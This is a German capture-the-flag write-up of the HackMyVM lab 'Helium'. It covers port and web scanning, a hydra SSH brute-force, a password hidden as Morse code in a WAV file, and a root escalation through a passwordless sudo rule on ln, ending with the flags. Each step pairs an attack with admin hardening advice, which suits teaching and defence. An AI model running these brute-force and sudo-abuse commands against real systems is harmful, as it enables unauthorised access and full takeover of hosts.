Helium - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
wfuzz
hydra
dirsearch
nikto
ssh
curl / wget
Online Morse Decoder
ls
cat
sudo
ln
sh
id
pwd
cd

Inhaltsverzeichnis

Reconnaissance

Analyse: `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu identifizieren.

Bewertung: Ein Host mit der IP `192.168.2.156` und der MAC-Adresse `08:00:27:2f:0c:59` (VirtualBox) wird gefunden. Dies ist das Ziel.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.156 durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.156	08:00:27:2f:0c:59	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.854 seconds (138.08 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan wird auf 192.168.2.156 ausgeführt (`-sS -sC -T5 -A -p-`), um offene Ports, Dienste, Versionen und OS-Details zu finden.

Bewertung: Zwei offene Ports werden identifiziert: - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Standard-SSH-Dienst. - **Port 80 (HTTP):** Nginx 1.14.2. Der Seitentitel ist "RELAX". Das Betriebssystem wird als Linux erkannt. Das Zielsystem wird als `helium` identifiziert.

Empfehlung (Pentester): Untersuche den Webserver auf Port 80 weiter (Verzeichnisse, Dateien, Quellcode). Suche nach Hinweisen auf Benutzernamen oder Passwörter für SSH.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Sichere beide Dienste (starke Passwörter/Keys, sichere Webserver-Konfiguration).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.156 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 22:20:10 CEST 
Nmap scan report for helium (192.168.2.156)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:f6:55:5f:c6:fa:fb:14:15:ae:4a:2b:38:d8:4a:30 (RSA)
|   256 b7:ac:87:6d:c4:f9:e3:9a:d4:6e:e0:4f:da:aa:22:20 (ECDSA)
|_  256 fe:e8:05:af:23:4d:3a:82:2a:64:9b:f7:35:e4:44:4a (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: RELAX
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:2F:0C:59 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms helium (192.168.2.156)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnissuche auf dem Webserver (Port 80) eingesetzt.

Bewertung: !!Wichtige Funde!!** Gobuster findet: - `/index.html`: Die Startseite. - `/relax.wav`: Eine WAV-Audiodatei. - `/yay/`: Ein Verzeichnis. Zusätzlich wird eine Notiz erwähnt (wahrscheinlich aus dem Quellcode von `/index.html` oder einer anderen Seite): "Please paul, stop uploading weird .wav files using /upload_sound". Dies gibt **zwei entscheidende Hinweise**: 1. Einen Benutzernamen: `paul`. 2. Einen (vermutlich nicht mehr existierenden oder versteckten) Upload-Pfad: `/upload_sound`. Die Datei `/relax.wav` und der Benutzer `paul` sind die wichtigsten Punkte hier.

Empfehlung (Pentester): Lade die Datei `/relax.wav` herunter und analysiere sie (z.B. auf Steganographie oder versteckte Töne wie Morsecode). Versuche, den Benutzer `paul` über SSH anzugreifen (Passwort-Bruteforce). Untersuche das Verzeichnis `/yay/`.
Empfehlung (Admin): Entferne unnötige Dateien vom Webserver. Hinterlasse keine Hinweise auf Benutzernamen oder interne Pfade in öffentlichen Kommentaren oder Quellcodes.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.156 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.156
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ... (gekürzt) ...,wav,...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/10/19 22:22:00 Starting gobuster 
===============================================================
http://192.168.2.156/index.html           (Status: 200) [Size: 530]
http://192.168.2.156/relax.wav            (Status: 200) [Size: 250334]
http://192.168.2.156/yay                  (Status: 301) [Size: 185] [--> http://192.168.2.156/yay/]
===============================================================
2022/10/19 22:28:00 Finished 
===============================================================
                    
 Please paul, stop uploading weird .wav files using /upload_sound
                     

Analyse: `wfuzz` wird verwendet, um nach Subdomains (virtuellen Hosts) zu suchen, indem der `Host`-Header gefuzzt wird (`-H "Host: http://FUZZ.helium.vm"`). Der Hostname `helium.vm` wird verwendet.

Bewertung: !!Fehlgeschlagen/Inkonklusiv!!** Die Ausgabe zeigt keine gefundenen Subdomains. Entweder gibt es keine, oder die verwendete Wortliste war nicht geeignet.

Empfehlung (Pentester): Subdomain-Fuzzing war nicht erfolgreich. Konzentriere dich auf die anderen Funde (Benutzer `paul`, `/relax.wav`, `/yay/`).
Empfehlung (Admin): Konfiguriere den Webserver so, dass er keine Informationen über unbekannte Host-Header preisgibt.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://helium.vm -H "Host: FUZZ.helium.vm" --hc 404 --hh 173
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://helium.vm/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================



Total time: ...
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: ...
                     

Analyse: Ein SSH-Loginversuch als Benutzer `paul` wird gestartet.

Bewertung: !!Fehlgeschlagen!!** Die Eingabeaufforderung für das Passwort erscheint, aber die nachfolgende Ausgabe "Permission denied" zeigt, dass das (nicht gezeigte) eingegebene Passwort falsch war.

Empfehlung (Pentester): Da der Benutzername `paul` bekannt ist, versuche einen Passwort-Brute-Force-Angriff mit `hydra` oder untersuche die `/relax.wav`-Datei weiter auf Passwort-Hinweise.
Empfehlung (Admin): Implementiere Schutzmaßnahmen gegen SSH-Brute-Force (fail2ban, SSH-Keys).

┌──(root㉿cyber)-[~] └─# ssh paul@helium.vm
The authenticity of host 'helium.vm (192.168.2.156)' can't be established.
ED25519 key fingerprint is SHA256:y4b6laUdkY6jY95p0UousHuja503C9EIqNNrMD5hoqA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'helium.vm' (ED25519) to the list of known hosts.
paul@helium.vm's password:
Permission denied, please try again.
paul@helium.vm's password:
Permission denied, please try again. 
paul@helium.vm's password:
                     

Analyse: `hydra` wird für einen SSH-Passwort-Brute-Force-Angriff gegen den Benutzer `paul` auf `helium.vm` (Port 22) gestartet. Die Wortliste `rockyou.txt` wird verwendet.

Bewertung: !!Läuft/Inkonklusiv!!** Die Ausgabe zeigt, dass Hydra gestartet wurde, aber noch läuft (`active`). Es wurde noch kein gültiges Passwort gefunden. Solche Angriffe können sehr lange dauern.

Empfehlung (Pentester): Lasse Hydra im Hintergrund laufen, aber suche parallel nach effizienteren Wegen. Untersuche die `/relax.wav`-Datei und das `/yay/`-Verzeichnis gründlicher.
Empfehlung (Admin): Schutz gegen Brute-Force ist wichtig.

┌──(root㉿cyber)-[~] └─# hydra -l paul -P /usr/share/wordlists/rockyou.txt ssh://helium.vm:22 -t 64
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-19 22:45:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://helium.vm:22/
[STATUS] 444.00 tries/min, 444 tries in 00:01h, 14343984 to do in 538:27h, 35 active
[STATUS] 243.00 tries/min, 729 tries in 00:03h, 14343706 to do in 983:48h, 28 active
[STATUS] ... (läuft) ...
                     

Analyse: `dirsearch` (ein weiteres Verzeichnis-Scanning-Tool) wird verwendet, um den Webserver zu scannen. Es verwendet eine andere Standard-Wortliste (`dirb/common.txt`) und diverse Erweiterungen.

Bewertung: Findet nur `/index.html`. Bestätigt die `gobuster`-Ergebnisse, liefert aber keine neuen Pfade.

Empfehlung (Pentester): Konzentriere dich auf `/relax.wav` und `/yay/`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# dirsearch -u "http://192.168.2.156/" -w /usr/share/dirb/wordlists/common.txt -e .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv | HTTP method: GET | Threads: 25 | Wordlist size: 4613

Error Log: /root/.dirsearch/logs/errors-221019-225218.log

Target: http://192.168.2.156/

[22:52:19] Starting:
[22:52:23] 200 -  530B  - /index.html

Task Completed
                      

Analyse: `nikto` wird erneut ausgeführt, um den Webserver auf Schwachstellen zu prüfen.

Bewertung: Die Ergebnisse sind identisch mit dem vorherigen Scan (Nginx, fehlende Security-Header). Keine neuen Erkenntnisse.

Empfehlung (Pentester): Keine neuen Angriffspunkte durch Nikto. Fokussiere dich auf die WAV-Datei und das `/yay/`-Verzeichnis.
Empfehlung (Admin): Setze die fehlenden Security-Header.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.156
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.156
+ Target Hostname:    192.168.2.156
+ Target Port:        80
+ Start Time:         2022-10-19 22:24:46 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-10-19 22:25:31 (GMT2) (45 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: Hier werden Pfade und URLs notiert, die vermutlich durch die Untersuchung des Webserver-Quellcodes (z.B. `index.html` oder CSS-Dateien) oder durch das Browsen im `/yay/`-Verzeichnis gefunden wurden. Insbesondere wird `/yay/mysecretsound.wav` entdeckt.

Bewertung: !!Wichtiger Fund!!** Neben der bereits bekannten `/relax.wav` gibt es eine weitere Audiodatei `/yay/mysecretsound.wav`. Diese ist wahrscheinlich der Schlüssel.

Empfehlung (Pentester): Lade die Datei `http://192.168.2.156/yay/mysecretsound.wav` herunter. Analysiere sie mit einem Audio-Tool (z.B. Audacity) auf versteckte Informationen oder verwende einen Online-Morsecode-Decoder, da dies eine häufige Methode in CTFs ist.
Empfehlung (Admin): Entferne unnötige oder versteckte Dateien vom Webserver.

http://192.168.2.156/bootstrap.min.css
/yay/mysecretsound.wav

http://192.168.2.156/yay/mysecretsound.wav
                     

Analyse: Die Audiodatei `mysecretsound.wav` wurde heruntergeladen und mit einem Online-Morsecode-Decoder analysiert.

Bewertung: !!Passwort gefunden!!** Der dekodierte Morsecode ergibt das Wort `dancingpassyo`. Dies ist sehr wahrscheinlich das SSH-Passwort für den Benutzer `paul`.

Empfehlung (Pentester): Versuche sofort, dich mit `ssh paul@helium.vm` und dem Passwort `dancingpassyo` anzumelden.
Empfehlung (Admin): Verwende keine Passwörter, die leicht aus öffentlich zugänglichen Informationen (auch wenn sie kodiert sind) abgeleitet werden können.

https://morsecode.world/international/decoder/audio-decoder-adaptive.html
dancingpassyo
                     

Initial Access

Analyse: Ein erneuter SSH-Loginversuch als `paul` wird gestartet. Dieses Mal wird das aus dem Morsecode dekodierte Passwort `dancingpassyo` eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der SSH-Login gelingt. Der Angreifer hat nun eine Shell als Benutzer `paul` auf dem Zielsystem.

Empfehlung (Pentester): Beginne mit der Enumeration als `paul`. Suche die User-Flag und prüfe die `sudo`-Rechte.
Empfehlung (Admin): Ändere das kompromittierte Passwort für `paul`.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# ssh paul@helium.vm
paul@helium.vm's password: dancingpassyo
Linux helium 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 22 14:31:51 2020 from 192.168.1.58
paul@helium:~$
                     

Analyse: Als `paul` wird das Home-Verzeichnis mit `ls -la` aufgelistet und der Inhalt von `user.txt` mit `cat` angezeigt.

Bewertung: Die Datei `user.txt` wird gefunden und enthält die User-Flag `ilovetoberelaxed`.

Empfehlung (Pentester): User-Flag notiert. Prüfe nun die `sudo`-Rechte mit `sudo -l`.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

paul@helium:~$ ls -la
total 32
drwxr-xr-x 3 paul paul 4096 Nov 22  2020 .
drwxr-xr-x 3 root root 4096 Nov 22  2020 ..
-rw-r--r-- 1 paul paul  220 Nov 22  2020 .bash_logout
-rw-r--r-- 1 paul paul 3526 Nov 22  2020 .bashrc
drwxr-xr-x 3 paul paul 4096 Nov 22  2020 .local
-rw-r--r-- 1 paul paul  807 Nov 22  2020 .profile
-rw------- 1 paul paul   17 Nov 22  2020 user.txt
-rw------- 1 paul paul   52 Nov 22  2020 .Xauthority
paul@helium:~$ cat user.txt
ilovetoberelaxed
                     

Privilege Escalation

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für `paul` zu prüfen.

Bewertung: !!Privilege Escalation Vektor gefunden!!** Der Benutzer `paul` darf den Befehl `/usr/bin/ln` (zum Erstellen von Links) als jeder Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD:`) ausführen. Dies ist eine bekannte Methode zur Privilegieneskalation, da man `ln` missbrauchen kann, um Systemdateien zu überschreiben oder zu manipulieren.

Empfehlung (Pentester): Nutze die `sudo`-Berechtigung für `ln` zur Eskalation. Suche auf GTFOBins nach der Methode für `ln` mit `sudo`. Ein gängiger Weg ist, einen symbolischen Link von `/bin/ln` auf `/bin/sh` zu erstellen (`sudo ln -fs /bin/sh /bin/ln`) und dann `sudo ln` auszuführen, was nun effektiv `sudo /bin/sh` startet.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Gewähre niemals `sudo`-Rechte für Befehle, die zum Manipulieren von Dateiverknüpfungen oder zum Überschreiben von Dateien verwendet werden können (wie `ln`, `cp`, `mv`, Editoren etc.), insbesondere nicht mit `NOPASSWD`.

paul@helium:~$ sudo -l
Matching Defaults entries for paul on helium:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on helium:
    (ALL : ALL) NOPASSWD: /usr/bin/ln
                     

Analyse: `ls /home` wird ausgeführt.

Bewertung: Bestätigt, dass `paul` der einzige Benutzer mit einem Home-Verzeichnis unter `/home` ist. Dies ist für die Eskalation nicht direkt relevant.

Empfehlung (Pentester): Konzentriere dich auf die Ausnutzung der `sudo ln`-Berechtigung.
Empfehlung (Admin): Keine Aktion.

paul@helium:~$ ls /home
paul
                     

Proof of Concept (Root)

Analyse: Der Exploit für die `sudo ln`-Berechtigung wird durchgeführt: 1. `sudo ln -fs /bin/sh /bin/ln`: Dieser Befehl erstellt mit `sudo` (also als Root) einen symbolischen Link (`-s`) und erzwingt das Überschreiben (`-f`), falls der Link bereits existiert. Er verlinkt das Ziel `/bin/sh` (die Shell) auf den Link-Namen `/bin/ln`. Das bedeutet, wenn nun `/bin/ln` aufgerufen wird, wird stattdessen `/bin/sh` ausgeführt. 2. `sudo ln`: Dieser Befehl führt nun, da `/bin/ln` auf `/bin/sh` zeigt, effektiv `sudo /bin/sh` aus.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der Trick funktioniert wie erwartet. Der Aufruf von `sudo ln` startet eine Shell. Der Prompt wechselt zu `#`, und der `id`-Befehl bestätigt `uid=0(root)`. Der Angreifer hat Root-Rechte erlangt.

Empfehlung (Pentester): Das Ziel ist erreicht. Suche nach der Root-Flag (`/root/root.txt`).
Empfehlung (Admin):**DRINGEND:** Entferne die `sudo`-Regel für `ln`. Überprüfe alle `sudo`-Regeln auf ähnliche Schwachstellen.

paul@helium:~$ sudo ln -fs /bin/sh /bin/ln
paul@helium:~$ sudo ln
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/home/paul
# cd
# pwd
/root
# ls
root.txt
#
                     

Analyse: Als Root wird der Inhalt der Datei `/root/root.txt` mit `cat` angezeigt.

Bewertung: Die Root-Flag `ilovetoberoot` wird erfolgreich gelesen.

Empfehlung (Pentester): Beide Flags wurden gefunden, der Bericht kann abgeschlossen werden.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

# cat root.txt
ilovetoberoot
                      

Flags

cat /root/root.txt
ilovetoberoot
cat /home/paul/user.txt
ilovetoberelaxed